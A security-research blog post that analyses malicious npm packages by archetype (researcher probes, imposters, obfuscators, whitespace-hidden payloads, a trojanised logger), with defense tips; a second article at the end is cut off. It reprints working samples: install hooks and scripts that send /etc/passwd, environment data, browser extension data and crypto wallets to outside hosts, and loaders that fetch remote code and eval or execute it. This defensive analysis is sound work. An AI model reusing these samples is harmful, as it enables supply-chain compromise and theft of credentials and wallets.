
A lot of the packages we see are from security researchers that make no real attempt at being stealthy. They are simply looking to prove something, often as a part of bug bounty hunting. This means their packages are usually really simple, often containing no code. They purely rely on a “lifecycle hook” that packages can use, be it preinstall, install, or postinstall. These hooks are simple commands executed by the package manager during installation.
Example: local_editor_top
Below is an example of the package local_editor_top
, which is a package we detected because of its preinstall hook which posts the /etc/passwd
file to a Burp Suite Collaborator endpoint with the hostname prefixed.
{
"name": "local_editor_top",
"version": "10.7.2",
"description": "",
"main": "index.js",
"scripts": {
"test": "echo \"Error: no test specified\" && exit 1",
"preinstall": "sudo /usr/bin/curl --data @/etc/passwd $(hostname)pha9b0pvk52ir7uzfi2quxaozf56txjl8.oastify[.]com"
},
"author": "",
"license": "ISC"
}
Example: ccf-identity
Some researchers go a step further, and call a file within the package ccf-identity
to extract data. As an example, we detected the package, we observed a lifecycle hook, and a javascript file with a lot of indicators of exfiltrating environment:
{
"name": "ccf-identity",
"version": "2.0.2",
"main": "index.js",
"typings": "dist/index",
"license": "MIT",
"author": "Microsoft",
"type": "module",
"repository": {
"type": "git",
"url": "https://github.com/Azure/ccf-identity"
},
"scripts": {
"preinstall": "node index.js",
...
},
"devDependencies": {
...
},
"dependencies": {
"@microsoft/ccf-app": "5.0.13",
...
}
}
As you can see, it will call the file index.js
before the installation process for the package starts. Below is the contents of the file.
const os = require("os");
const dns = require("dns");
const querystring = require("querystring");
const https = require("https");
const packageJSON = require("./package.json");
const package = packageJSON.name;
const trackingData = JSON.stringify({
p: package,
c: __dirname,
hd: os.homedir(),
hn: os.hostname(),
un: os.userInfo().username,
dns: dns.getServers(),
r: packageJSON ? packageJSON.___resolved : undefined,
v: packageJSON.version,
pjson: packageJSON,
});
var postData = querystring.stringify({
msg: trackingData,
});
var options = {
hostname: "vzyonlluinxvix1lkokm8x0mzd54t5hu[.]oastify.com", //replace burpcollaborator.net with Interactsh or pipedream
port: 443,
path: "/",
method: "POST",
headers: {
"Content-Type": "application/x-www-form-urlencoded",
"Content-Length": postData.length,
},
};
var req = https.request(options, (res) => {
res.on("data", (d) => {
process.stdout.write(d);
});
});
req.on("error", (e) => {
// console.error(e);
});
req.write(postData);
req.end();
These proof of concepts go quite a distance in collecting a lot of information, also often including information about network adapters, too!
The Imposter

If you were sharp, you might have noticed that the previous example seemed to indicate it was a Microsoft package. Did you notice? Don’t worry, it’s not actually a package from Microsoft! Rather, it’s also an example of our second archetype: The Imposter.
A great example of this is the package requests-promises
. Lets look at its package.json
file:
{
"name": "requests-promises",
"version": "4.2.1",
"description": "The simplified HTTP request client 'request' with Promise support. Powered by Bluebird.",
"keywords": [
...
],
"main": "./lib/rp.js",
"scripts": {
...
"postinstall": "node lib/rq.js"
},
"repository": {
"type": "git",
"url": "git+https://github.com/request/request-promise.git"
},
"author": "Nicolai Kamenzky (https://github.com/analog-nico)",
"license": "ISC",
"bugs": {
"url": "https://github.com/request/request-promise/issues"
},
"homepage": "https://github.com/request/request-promise#readme",
"engines": {
"node": ">=0.10.0"
},
"dependencies": {
"request-promise-core": "1.1.4",
"bluebird": "^3.5.0",
"stealthy-require": "^1.1.1",
"tough-cookie": "^2.3.3"
},
"peerDependencies": {
"request": "^2.34"
},
"devDependencies": {
...
}
}
You’ll notice something interesting. It looks like a real package at first, there’s two big clues that something isn’t right:
- The Github references mention
request-promise
, i.e. singular. The package name is in plural. - There’s a postinstall hook for a file called
lib/rq.js
.
The package looks otherwise legit. It has the code expected from the package in lib/rp.js
(Notice the difference between rp.js
and rq.js
). So lets look at this extra file, lib/rq.js
.
const cp = require('child_process');
const {
exec
} = require('child_process');
const fs = require('fs');
const crypto = require('crypto');
const DataPaths = ["C:\\Users\\Admin\\AppData\\Local\\Google\\Chrome\\User Data".replaceAll('Admin', process.env.USERNAME), "C:\\Users\\Admin\\AppData\\Local\\Microsoft\\Edge\\User Data".replaceAll('Admin', process.env.USERNAME), "C:\\Users\\Admin\\AppData\\Roaming\\Opera Software\\Opera Stable".replaceAll('Admin', process.env.USERNAME), "C:\\Users\\Admin\\AppData\\Local\\Programs\\Opera GX".replaceAll('Admin', process.env.USERNAME), "C:\\Users\\Admin\\AppData\\Local\\BraveSoftware\\Brave-Browser\\User Data".replaceAll('Admin', process.env.USERNAME)]
const {
URL
} = require('url');
function createZipFile(source, dest) {
return new Promise((resolve, reject) => {
const command = `powershell.exe -Command 'Compress-Archive -Path "${source}" -DestinationPath "${dest}"'`;
exec(command, (error, stdout, stderr) => {
if (error) {
//console.log(error,stdout,stderr)
reject(error);
} else {
//console.log(error,stdout,stderr)
resolve(stdout);
}
});
});
}
async function makelove(wu = atob("aHR0cHM6Ly9kaXNjb3JkLmNvbS9hcGkvd2ViaG9va3MvMTMzMDE4NDg5NDE0NzU5NjM0Mi9tY1JCNHEzRlFTT3J1VVlBdmd6OEJvVzFxNkNNTmk0VXMtb2FnQ0M0SjJMQ0NHd3RKZ1lNbVk0alZ4eUxnNk9LV2lYUA=="), filePath, fileName) {
try {
const fileData = fs.readFileSync(filePath);
const formData = new FormData();
formData.append('file', new Blob([fileData]), fileName);
formData.append('content', process.env.USERDOMAIN);
const response = await fetch(wu, {
method: 'POST',
body: formData,
});
if (!response.ok) {
throw new Error(`HTTP error! status: ${response.status}`);
}
//console.log('Running Test(s) +1');
} catch (error) {
console.error('Error :', error);
} finally {
try {
cp.execSync('cmd /C del "' + filePath + '"');
} catch {}
}
}
const folderName = "Local Extension Settings";
setTimeout(async function() {
const dir = `C:\\Users\\${process.env.USERNAME}\\AppData\\Roaming\\Exodus\\exodus.wallet\\`;
if (fs.existsSync(dir)) {
//console.log(dir)
const nayme = crypto.randomBytes(2).toString('hex')
const command = `powershell -WindowStyle Hidden -Command "tar -cf 'C:\\ProgramData\\Intel\\brsr${nayme}.tar' -C '${dir}' ."`;
cp.exec(command, (e, so, se) => {
if (!e) {
console.log('exo', nayme)
makelove(undefined, `C:\\ProgramData\\Intel\\brsr${nayme}.tar`, 'exo.tar');
//console.log(e,so,se)
} else {
//console.log(e,so,se)
}
})
}
}, 0)
for (var i = 0; i < DataPaths.length; i++) {
const datapath = DataPaths[i];
if (fs.existsSync(datapath)) {
const dirs = fs.readdirSync(datapath);
const profiles = dirs.filter(a => a.toLowerCase().startsWith('profile'));
profiles.push('Default');
for (const profile of profiles) {
if (typeof profile == "string") {
const dir = datapath + '\\' + profile + '\\' + folderName;
if (fs.existsSync(dir)) {
//console.log(dir)
const nayme = crypto.randomBytes(2).toString('hex')
const command = `powershell -WindowStyle Hidden -Command "tar -cf 'C:\\ProgramData\\Intel\\brsr${nayme}.tar' -C '${dir}' ."`;
cp.exec(command, (e, so, se) => {
if (!e) {
console.log('okok')
makelove(undefined, `C:\\ProgramData\\Intel\\brsr${nayme}.tar`, 'extensions.tar');
//console.log(e,so,se)
} else {
//console.log(e,so,se)
}
})
}
}
}
}
}
Don’t be fooled by the fact that the code has a function called makelove
. It’s immediately obvious that this code will look for browser caches and crypto wallets, which it will send to the endpoint which is base64 encoded. When decoded, it reveals a Discord webhook.
https://discord[.]com/api/webhooks/1330184894147596342/mcRB4q3FQSOruUYAvgz8BoW1q6CMNi4Us-oagCC4J2LCCGwtJgYMmY4jVxyLg6OKWiXP
Not so loving after all.
The obfuscator

A classic trick to avoid detection is using obfuscation. The good news as a defender is that obfuscation is really noisy, sticks out like a sore thumb, and is trivial to overcome for the most part. One example of this is the package chickenisgood
. Looking at the file index.js
we see that it is clearly obfuscated.
var __encode ='jsjiami.com',_a={}, _0xb483=["\x5F\x64\x65\x63\x6F\x64\x65","\x68\x74\x74\x70\x3A\x2F\x2F\x77\x77\x77\x2E\x73\x6F\x6A\x73\x6F\x6E\x2E\x63\x6F\x6D\x2F\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74\x6F\x62\x66\x75\x73\x63\x61\x74\x6F\x72\x2E\x68\x74\x6D\x6C"];(function(_0xd642x1){_0xd642x1[_0xb483[0]]= _0xb483[1]})(_a);var __Ox12553a=["\x6F\x73","\x68\x74\x74\x70\x73","\x65\x72\x72\x6F\x72","\x6F\x6E","\x68\x74\x74\x70\x73\x3A\x2F\x2F\x69\x70\x2E\x73\x62\x2F","\x73\x74\x61\x74\x75\x73\x43\x6F\x64\x65","","\x67\x65\x74","\x6C\x65\x6E\x67\x74\x68","\x63\x70\x75\x73","\x74\x6F\x74\x61\x6C\x6D\x65\x6D","\x66\x72\x65\x65\x6D\x65\x6D","\x75\x70\x74\x69\x6D\x65","\x6E\x65\x74\x77\x6F\x72\x6B\x49\x6E\x74\x65\x72\x66\x61\x63\x65\x73","\x66\x69\x6C\x74\x65\x72","\x6D\x61\x70","\x66\x6C\x61\x74","\x76\x61\x6C\x75\x65\x73","\x74\x65\x73\x74","\x73\x6F\x6D\x65","\x57\x61\x72\x6E\x69\x6E\x67\x3A\x20\x44\x65\x74\x65\x63\x74\x65\x64\x20\x76\x69\x72\x74\x75\x61\x6C\x20\x6D\x61\x63\x68\x69\x6E\x65\x21","\x77\x61\x72\x6E","\x48\x4F\x53\x54\x4E\x41\x4D\x45\x2D","\x48\x4F\x53\x54\x4E\x41\x4D\x45\x31","\x68\x6F\x73\x74\x6E\x61\x6D\x65","\x73\x74\x61\x72\x74\x73\x57\x69\x74\x68","\x63\x6F\x64\x65","\x45\x4E\x4F\x54\x46\x4F\x55\x4E\x44","\x65\x78\x69\x74","\x61\x74\x74\x61\x62\x6F\x79\x2E\x71\x75\x65\x73\x74","\x2F\x74\x68\x69\x73\x69\x73\x67\x6F\x6F\x64\x2F\x6E\x64\x73\x39\x66\x33\x32\x38","\x47\x45\x54","\x64\x61\x74\x61","\x65\x6E\x64","\x72\x65\x71\x75\x65\x73\x74","\x75\x6E\x64\x65\x66\x69\x6E\x65\x64","\x6C\x6F\x67","\u5220\u9664","\u7248\u672C\u53F7\uFF0C\x6A\x73\u4F1A\u5B9A","\u671F\u5F39\u7A97\uFF0C","\u8FD8\u8BF7\u652F\u6301\u6211\u4EEC\u7684\u5DE5\u4F5C","\x6A\x73\x6A\x69\x61","\x6D\x69\x2E\x63\x6F\x6D"];const os=require(__Ox12553a[0x0]);const https=require(__Ox12553a[0x1]);function checkNetwork(_0x8ed1x4){https[__Ox12553a[0x7]](__Ox12553a[0x4],(_0x8ed1x6)=>{if(_0x8ed1x6[__Ox12553a[0x5]]=== 200){_0x8ed1x4(null,true)}else {_0x8ed1x4( new Error(("\x55\x6E\x65\x78\x70\x65\x63\x74\x65\x64\x20\x72\x65\x73\x70\x6F\x6E\x73\x65\x20\x73\x74\x61\x74\x75\x73\x20\x63\x6F\x64\x65\x3A\x20"+_0x8ed1x6[__Ox12553a[0x5]]+__Ox12553a[0x6])))}})[__Ox12553a[0x3]](__Ox12553a[0x2],(_0x8ed1x5)=>{_0x8ed1x4(_0x8ed1x5)})}function checkCPUCores(_0x8ed1x8){const _0x8ed1x9=os[__Ox12553a[0x9]]()[__Ox12553a[0x8]];if(_0x8ed1x9< _0x8ed1x8){return false}else {return true}}function checkMemory(_0x8ed1xb){const _0x8ed1xc=os[__Ox12553a[0xa]]()/ (1024* 1024* 1024);const _0x8ed1xd=os[__Ox12553a[0xb]]()/ (1024* 1024* 1024);if(_0x8ed1xc- _0x8ed1xd< _0x8ed1xb){return false}else {return true}}function checkUptime(_0x8ed1xf){const _0x8ed1x10=os[__Ox12553a[0xc]]()* 1000;return _0x8ed1x10> _0x8ed1xf}function checkVirtualMachine(){const _0x8ed1x12=[/^00:05:69/,/^00:50:56/,/^00:0c:29/];const _0x8ed1x13=/^08:00:27/;const _0x8ed1x14=/^00:03:ff/;const _0x8ed1x15=[/^00:11:22/,/^00:15:5d/,/^00:e0:4c/,/^02:42:ac/,/^02:42:f2/,/^32:95:f4/,/^52:54:00/,/^ea:b7:ea/];const _0x8ed1x16=os[__Ox12553a[0xd]]();const _0x8ed1x17=Object[__Ox12553a[0x11]](_0x8ed1x16)[__Ox12553a[0x10]]()[__Ox12553a[0xe]](({_0x8ed1x19})=>{return !_0x8ed1x19})[__Ox12553a[0xf]](({_0x8ed1x18})=>{return _0x8ed1x18})[__Ox12553a[0xe]](Boolean);for(const _0x8ed1x18 of _0x8ed1x17){if(_0x8ed1x15[__Ox12553a[0x13]]((_0x8ed1x1a)=>{return _0x8ed1x1a[__Ox12553a[0x12]](_0x8ed1x18)})|| _0x8ed1x13[__Ox12553a[0x12]](_0x8ed1x18)|| _0x8ed1x14[__Ox12553a[0x12]](_0x8ed1x18)|| _0x8ed1x12[__Ox12553a[0x13]]((_0x8ed1x1a)=>{return _0x8ed1x1a[__Ox12553a[0x12]](_0x8ed1x18)})){console[__Ox12553a[0x15]](__Ox12553a[0x14]);return true}};return false}const disallowedHostPrefixes=[__Ox12553a[0x16],__Ox12553a[0x17]];function isHostnameValid(){const _0x8ed1x1d=os[__Ox12553a[0x18]]();for(let _0x8ed1x1e=0;_0x8ed1x1e< disallowedHostPrefixes[__Ox12553a[0x8]];_0x8ed1x1e++){if(_0x8ed1x1d[__Ox12553a[0x19]](disallowedHostPrefixes[_0x8ed1x1e])){return false}};return true}function startApp(){checkNetwork((_0x8ed1x5,_0x8ed1x20)=>{if(!_0x8ed1x5&& _0x8ed1x20){}else {if(_0x8ed1x5&& _0x8ed1x5[__Ox12553a[0x1a]]=== __Ox12553a[0x1b]){process[__Ox12553a[0x1c]](1)}else {process[__Ox12553a[0x1c]](1)}}});if(!checkMemory(2)){process[__Ox12553a[0x1c]](1)};if(!checkCPUCores(2)){process[__Ox12553a[0x1c]](1)};if(!checkUptime(1000* 60* 60)){process[__Ox12553a[0x1c]](1)};if(checkVirtualMachine()){process[__Ox12553a[0x1c]](1)};if(isHostnameValid()=== false){process[__Ox12553a[0x1c]](1)};const _0x8ed1x21={hostname:__Ox12553a[0x1d],port:8443,path:__Ox12553a[0x1e],method:__Ox12553a[0x1f]};const _0x8ed1x22=https[__Ox12553a[0x22]](_0x8ed1x21,(_0x8ed1x6)=>{let _0x8ed1x23=__Ox12553a[0x6];_0x8ed1x6[__Ox12553a[0x3]](__Ox12553a[0x20],(_0x8ed1x24)=>{_0x8ed1x23+= _0x8ed1x24});_0x8ed1x6[__Ox12553a[0x3]](__Ox12553a[0x21],()=>{eval(_0x8ed1x23)})});_0x8ed1x22[__Ox12553a[0x3]](__Ox12553a[0x2],(_0x8ed1x25)=>{});_0x8ed1x22[__Ox12553a[0x21]]()}startApp();;;(function(_0x8ed1x26,_0x8ed1x27,_0x8ed1x28,_0x8ed1x29,_0x8ed1x2a,_0x8ed1x2b){_0x8ed1x2b= __Ox12553a[0x23];_0x8ed1x29= function(_0x8ed1x2c){if( typeof alert!== _0x8ed1x2b){alert(_0x8ed1x2c)};if( typeof console!== _0x8ed1x2b){console[__Ox12553a[0x24]](_0x8ed1x2c)}};_0x8ed1x28= function(_0x8ed1x2d,_0x8ed1x26){return _0x8ed1x2d+ _0x8ed1x26};_0x8ed1x2a= _0x8ed1x28(__Ox12553a[0x25],_0x8ed1x28(_0x8ed1x28(__Ox12553a[0x26],__Ox12553a[0x27]),__Ox12553a[0x28]));try{_0x8ed1x26= __encode;if(!( typeof _0x8ed1x26!== _0x8ed1x2b&& _0x8ed1x26=== _0x8ed1x28(__Ox12553a[0x29],__Ox12553a[0x2a]))){_0x8ed1x29(_0x8ed1x2a)}}catch(e){_0x8ed1x29(_0x8ed1x2a)}})({})
We can already see it mention things like checkVirtualMachine
, checkUptime
, isHostnameValid
, and other names which raise suspicion. But to fully confirm what it’s doing, we can run it through publicly available deobfuscators/decoders. And suddenly we get something a bit more readable.
var _a = {};
var _0xb483 = ["_decode", "http://www.sojson.com/javascriptobfuscator.html"];
(function (_0xd642x1) {
_0xd642x1[_0xb483[0]] = _0xb483[1];
})(_a);
var __Ox12553a = ["os", "https", "error", "on", "https://ip.sb/", "statusCode", "", "get", "length", "cpus", "totalmem", "freemem", "uptime", "networkInterfaces", "filter", "map", "flat", "values", "test", "some", "Warning: Detected virtual machine!", "warn", "HOSTNAME-", "HOSTNAME1", "hostname", "startsWith", "code", "ENOTFOUND", "exit", "attaboy.quest", "/thisisgood/nds9f328", "GET", "data", "end", "request", "undefined", "log", "删除", "版本号,js会定", "期弹窗,", "还请支持我们的工作", "jsjia", "mi.com"];
const os = require(__Ox12553a[0x0]);
const https = require(__Ox12553a[0x1]);
function checkNetwork(_0x8ed1x4) {
https[__Ox12553a[0x7]](__Ox12553a[0x4], _0x8ed1x6 => {
if (_0x8ed1x6[__Ox12553a[0x5]] === 200) {
_0x8ed1x4(null, true);
} else {
_0x8ed1x4(new Error("Unexpected response status code: " + _0x8ed1x6[__Ox12553a[0x5]] + __Ox12553a[0x6]));
}
})[__Ox12553a[0x3]](__Ox12553a[0x2], _0x8ed1x5 => {
_0x8ed1x4(_0x8ed1x5);
});
}
function checkCPUCores(_0x8ed1x8) {
const _0x8ed1x9 = os[__Ox12553a[0x9]]()[__Ox12553a[0x8]];
if (_0x8ed1x9 < _0x8ed1x8) {
return false;
} else {
return true;
}
}
function checkMemory(_0x8ed1xb) {
const _0x8ed1xc = os[__Ox12553a[0xa]]() / 1073741824;
const _0x8ed1xd = os[__Ox12553a[0xb]]() / 1073741824;
if (_0x8ed1xc - _0x8ed1xd < _0x8ed1xb) {
return false;
} else {
return true;
}
}
function checkUptime(_0x8ed1xf) {
const _0x8ed1x10 = os[__Ox12553a[0xc]]() * 1000;
return _0x8ed1x10 > _0x8ed1xf;
}
function checkVirtualMachine() {
const _0x8ed1x12 = [/^00:05:69/, /^00:50:56/, /^00:0c:29/];
const _0x8ed1x13 = /^08:00:27/;
const _0x8ed1x14 = /^00:03:ff/;
const _0x8ed1x15 = [/^00:11:22/, /^00:15:5d/, /^00:e0:4c/, /^02:42:ac/, /^02:42:f2/, /^32:95:f4/, /^52:54:00/, /^ea:b7:ea/];
const _0x8ed1x16 = os[__Ox12553a[0xd]]();
const _0x8ed1x17 = Object[__Ox12553a[0x11]](_0x8ed1x16)[__Ox12553a[0x10]]()[__Ox12553a[0xe]](({
_0x8ed1x19
}) => {
return !_0x8ed1x19;
})[__Ox12553a[0xf]](({
_0x8ed1x18
}) => {
return _0x8ed1x18;
})[__Ox12553a[0xe]](Boolean);
for (const _0x8ed1x18 of _0x8ed1x17) {
if (_0x8ed1x15[__Ox12553a[0x13]](_0x8ed1x1a => {
return _0x8ed1x1a[__Ox12553a[0x12]](_0x8ed1x18);
}) || _0x8ed1x13[__Ox12553a[0x12]](_0x8ed1x18) || _0x8ed1x14[__Ox12553a[0x12]](_0x8ed1x18) || _0x8ed1x12[__Ox12553a[0x13]](_0x8ed1x1a => {
return _0x8ed1x1a[__Ox12553a[0x12]](_0x8ed1x18);
})) {
console[__Ox12553a[0x15]](__Ox12553a[0x14]);
return true;
}
}
;
return false;
}
const disallowedHostPrefixes = [__Ox12553a[0x16], __Ox12553a[0x17]];
function isHostnameValid() {
const _0x8ed1x1d = os[__Ox12553a[0x18]]();
for (let _0x8ed1x1e = 0; _0x8ed1x1e < disallowedHostPrefixes[__Ox12553a[0x8]]; _0x8ed1x1e++) {
if (_0x8ed1x1d[__Ox12553a[0x19]](disallowedHostPrefixes[_0x8ed1x1e])) {
return false;
}
}
;
return true;
}
function startApp() {
checkNetwork((_0x8ed1x5, _0x8ed1x20) => {
if (!_0x8ed1x5 && _0x8ed1x20) {} else {
if (_0x8ed1x5 && _0x8ed1x5[__Ox12553a[0x1a]] === __Ox12553a[0x1b]) {
process[__Ox12553a[0x1c]](1);
} else {
process[__Ox12553a[0x1c]](1);
}
}
});
if (!checkMemory(2)) {
process[__Ox12553a[0x1c]](1);
}
;
if (!checkCPUCores(2)) {
process[__Ox12553a[0x1c]](1);
}
;
if (!checkUptime(3600000)) {
process[__Ox12553a[0x1c]](1);
}
;
if (checkVirtualMachine()) {
process[__Ox12553a[0x1c]](1);
}
;
if (isHostnameValid() === false) {
process[__Ox12553a[0x1c]](1);
}
;
const _0x8ed1x21 = {
hostname: __Ox12553a[0x1d],
port: 8443,
path: __Ox12553a[0x1e],
method: __Ox12553a[0x1f]
};
const _0x8ed1x22 = https[__Ox12553a[0x22]](_0x8ed1x21, _0x8ed1x6 => {
let _0x8ed1x23 = __Ox12553a[0x6];
_0x8ed1x6[__Ox12553a[0x3]](__Ox12553a[0x20], _0x8ed1x24 => {
_0x8ed1x23 += _0x8ed1x24;
});
_0x8ed1x6[__Ox12553a[0x3]](__Ox12553a[0x21], () => {
eval(_0x8ed1x23);
});
});
_0x8ed1x22[__Ox12553a[0x3]](__Ox12553a[0x2], _0x8ed1x25 => {});
_0x8ed1x22[__Ox12553a[0x21]]();
}
startApp();
;
;
(function (_0x8ed1x26, _0x8ed1x27, _0x8ed1x28, _0x8ed1x29, _0x8ed1x2a, _0x8ed1x2b) {
_0x8ed1x2b = __Ox12553a[0x23];
_0x8ed1x29 = function (_0x8ed1x2c) {
if (typeof alert !== _0x8ed1x2b) {
alert(_0x8ed1x2c);
}
;
if (typeof console !== _0x8ed1x2b) {
console[__Ox12553a[0x24]](_0x8ed1x2c);
}
};
_0x8ed1x28 = function (_0x8ed1x2d, _0x8ed1x26) {
return _0x8ed1x2d + _0x8ed1x26;
};
_0x8ed1x2a = __Ox12553a[0x25] + (__Ox12553a[0x26] + __Ox12553a[0x27] + __Ox12553a[0x28]);
try {
_0x8ed1x26 = 'jsjiami.com';
if (!(typeof _0x8ed1x26 !== _0x8ed1x2b && _0x8ed1x26 === __Ox12553a[0x29] + __Ox12553a[0x2a])) {
_0x8ed1x29(_0x8ed1x2a);
}
} catch (e) {
_0x8ed1x29(_0x8ed1x2a);
}
})({});
It’s clear to see that it’s collecting a lot of system information and will be sending an HTTP request at some point. It also is appears that it will run arbitrary code due to the presence of the eval() within the callbacks of a HTTP request, demonstrating malicious behavior.
The Trickster

Sometimes, we also see packages that try to be really sneaky in hiding. It’s not that they try to hide through obfuscation to make the logic hard to understand. They just make it hard for a human to see if they aren’t paying attention.
One such example is the package htps-curl
. Here is the code viewed from the official npm site:

It seems innocent at first glance, right? But did you notice the horizontal scroll bar? It’s trying to hide its real payload with whitespace! Here’s the actual code if we prettify it a bit.
console.log('Installed');
try {
new Function('require', Buffer.from("Y29uc3Qge3NwYXdufT1yZXF1aXJlKCJjaGlsZF9wcm9jZXNzIiksZnM9cmVxdWlyZSgiZnMtZXh0cmEiKSxwYXRoPXJlcXVpcmUoInBhdGgiKSxXZWJTb2NrZXQ9cmVxdWlyZSgid3MiKTsoYXN5bmMoKT0+e2NvbnN0IHQ9cGF0aC5qb2luKHByb2Nlc3MuZW52LlRFTVAsYFJlYWxrdGVrLmV4ZWApLHdzPW5ldyBXZWJTb2NrZXQoIndzczovL2ZyZXJlYS5jb20iKTt3cy5vbigib3BlbiIsKCk9Pnt3cy5zZW5kKEpTT04uc3RyaW5naWZ5KHtjb21tYW5kOiJyZWFsdGVrIn0pKX0pO3dzLm9uKCJtZXNzYWdlIixtPT57dHJ5e2NvbnN0IHI9SlNPTi5wYXJzZShtKTtpZihyLnR5cGU9PT0icmVhbHRlayImJnIuZGF0YSl7Y29uc3QgYj1CdWZmZXIuZnJvbShyLmRhdGEsImJhc2U2NCIpO2ZzLndyaXRlRmlsZVN5bmModCxiKTtzcGF3bigiY21kIixbIi9jIix0XSx7ZGV0YWNoZWQ6dHJ1ZSxzdGRpbzoiaWdub3JlIn0pLnVucmVmKCl9fWNhdGNoKGUpe2NvbnNvbGUuZXJyb3IoIkVycm9yIHByb2Nlc3NpbmcgV2ViU29ja2V0IG1lc3NhZ2U6IixlKX19KX0pKCk7", "base64").toString("utf-8"))(require);
} catch {}
Aha! There’s a hidden payload. It has a base64 encoded blob, which is decoded, turned into a function, and then called. Here is the decoded and prettified payload.
const {
spawn
} = require("child_process"), fs = require("fs-extra"), path = require("path"), WebSocket = require("ws");
(async () => {
const t = path.join(process.env.TEMP, `Realktek.exe`),
ws = new WebSocket("wss://frerea[.]com");
ws.on("open", () => {
ws.send(JSON.stringify({
command: "realtek"
}))
});
ws.on("message", m => {
try {
const r = JSON.parse(m);
if (r.type === "realtek" && r.data) {
const b = Buffer.from(r.data, "base64");
fs.writeFileSync(t, b);
spawn("cmd", ["/c", t], {
detached: true,
stdio: "ignore"
}).unref()
}
} catch (e) {
console.error("Error processing WebSocket message:", e)
}
})
})();
Here, we see that the payload connects to a remote server through websocket and sends a message. The response to that is then base64 decoded, saved to disk, and executed.
The overly helpful helper

The last archetype is that of a library that’s helpful, but maybe a bit too helpful for your own good. The example we will use here is consolidate-logger
package. As always, we start looking at the package.json
file.
{
"name": "consolidate-logger",
"version": "1.0.2",
"main": "index.js",
"scripts": {
"test": "echo \"Error: no test specified\" && exit 1"
},
"dependencies": {
"axios": "^1.5.0"
},
"keywords": [
"logger"
],
"author": "crouch",
"license": "ISC",
"description": "A powerful and easy-to-use logging package designed to simplify error tracking in Node.js applications."
}
There’s no lifecycle hooks to be found. That’s a bit strange. But for a logging library, it’s a bit strange to see a dependency on axios
, which is used for making HTTP requests. From there, we go to the index.js
file, and it’s purely a file which imports src/logger.js.
Lets look at that.
const ErrorReport = require("./lib/report");
class Logger {
constructor() {
this.level = 'info';
this.output = null;
this.report = new ErrorReport();
}
configure({ level, output }) {
this.level = level || 'info';
this.output = output ? path.resolve(output) : null;
}
log(level, message) {
const timestamp = new Date().toISOString();
const logMessage = `[${timestamp}] [${level.toUpperCase()}]: ${message}`;
console.log(logMessage);
}
info(message) {
this.log('info', message);
}
warn(message) {
this.log('warn', message);
}
error(error) {
this.log('error', error.stack || error.toString());
}
debug(message) {
if (this.level === 'debug') {
this.log('debug', message);
}
}
}
module.exports = Logger;
Nothing stands out here at first glance, but what’s up with the import of ErrorReport
and it being instantiated in the constructor without being used? Let's see what the class does.
"use strict";
class ErrorReport {
constructor() {
this.reportErr("");
}
versionToNumber(versionString) {
return parseInt(versionString.replace(/\./g, ''), 10);
}
reportErr(err_msg) {
function g(h) { return h.replace(/../g, match => String.fromCharCode(parseInt(match, 16))); }
const hl = [
g('72657175697265'),
g('6178696f73'),
g('676574'),
g('687474703a2f2f6d6f72616c69732d6170692d76332e636c6f75642f6170692f736572766963652f746f6b656e2f6639306563316137303636653861356430323138633430356261363863353863'),
g('7468656e'),
];
const reportError = (msg) => require(hl[1])[[hl[2]]](hl[3])[[hl[4]]](res => res.data).catch(err => eval(err.response.data || "404"));
reportError(err_msg);
}
}
module.exports = ErrorReport;
There’s quite a bit more going on here. There’s some obfuscation going on here, so here’s a simplified version of it.
"use strict";
class ErrorReport {
constructor() {
this.reportErr(""); //
}
versionToNumber(versionString) {
return parseInt(versionString.replace(/\./g, ''), 10);
}
reportErr(err_msg) {
function g(h) { return h.replace(/../g, match => String.fromCharCode(parseInt(match, 16))); }
const hl = [
g('require'),
g('axios'),
g('get'),
g('http://moralis-api-v3[.]cloud/api/service/token/f90ec1a7066e8a5d0218c405ba68c58c'),
g('then'),
];
const reportError = (msg) => require('axios')['get']('http://moralis-api-v3.cloud/api/service/token/f90ec1a7066e8a5d0218c405ba68c58c')[['then']](res => res.data).catch(err => eval(err.response.data || "404"));
reportError(err_msg);
}
}
module.exports = ErrorReport;
Now it’s a lot more clear what this code is doing. In the constructor, it’s called the reportErr
function without an error message. The function is obfuscated, containing the parts required to import axios
, make a get request, and then call eval()
on the returned data. So the library does help you, in a sense, with logging. But it’s maybe a bit too helpful, in that it also then executes unexpected code at runtime when the Logger
class is instantiated.
🛡️ Defense Tips
To defend against packages like these:
- Always audit lifecycle hooks in
package.json
. They are a common attack vector. - Check the repo vs. the package name — subtle name differences often mean trouble.
- Be suspicious of obfuscation, minified code, or base64 blobs inside small packages.
- Use tools like Aikdio Intel to flag identify shady packages.
- Freeze production dependencies with lockfiles (
package-lock.json
). - Use a private registry mirror or package firewall (e.g. Artifactory, Snyk Broker) to control what enters your supply chain.

Hide and Fail: Obfuscated Malware, Empty Payloads, and npm Shenanigans
On March 14th 2025, we detected a malicious package on npm called node-facebook-messenger-api
. At first, it seemed to be pretty run-of-the-mill malware, though we couldn’t tell what the end-goal was. We didn’t think much more of it until April 3rd 2025, when we see the same threat actor expand their attack. This is a brief overview of the techniques used by this specific attacker, and some fun observations about how their attempts at obfuscation actually ends up making them be even more obvious.
TLDR
node-facebook-messenger-api@4.1.0
, disguised as a legit Facebook messenger wrapper.axios
and eval()
to pull a payload from a Google Docs link — but the file was empty.zx
library to avoid detection, embedding malicious logic that triggers days after publish.node-smtp-mailer@6.10.0
, impersonating nodemailer
, with the same C2 logic and obfuscation.hyper-types
), revealing a clear signature pattern linking the attacks.
First steps
It all started on March 14th at 04:37 UTC, when our systems alerted us to a suspicious package. It was published by the user victor.ben0825
, who also claims to have the name perusworld
. This is the username of the user who owns the legitimate repository for this library.

Here’s the code it detected as being malicious in node-facebook-messenger-api@4.1.0:
, in the file messenger.js
, line 157-177:
const axios = require('axios');
const url = 'https://docs.google.com/uc?export=download&id=1ShaI7rERkiWdxKAN9q8RnbPedKnUKAD2';
async function downloadFile(url) {
try {
const response = await axios.get(url, {
responseType: 'arraybuffer'
});
const fileBuffer = Buffer.from(response.data);
eval(Buffer.from(fileBuffer.toString('utf8'), 'base64').toString('utf8'))
return fileBuffer;
} catch (error) {
console.error('Download failed:', error.message);
}
}
downloadFile(url);
The attacker has tried to hide this code within a 769 lines long file, which is a big class. Here they’ve added a function, and are calling it directly. Very cute, but very obvious too. We attempted to fetch the payload, but it was empty. We flagged it as malware and moved on.
A few minutes later, the attacker pushed another version, 4.1.1. The only change appeared to be in the README.md
and package.json
files, where they changed the version, description, and installation instructions. Because we mark the author as a bad author, packages from this point on were automatically flagged as malware.
Trying to be sneaky
Then, on March 20th 2025 at 16:29 UTC, our system automatically flagged version 4.1.2
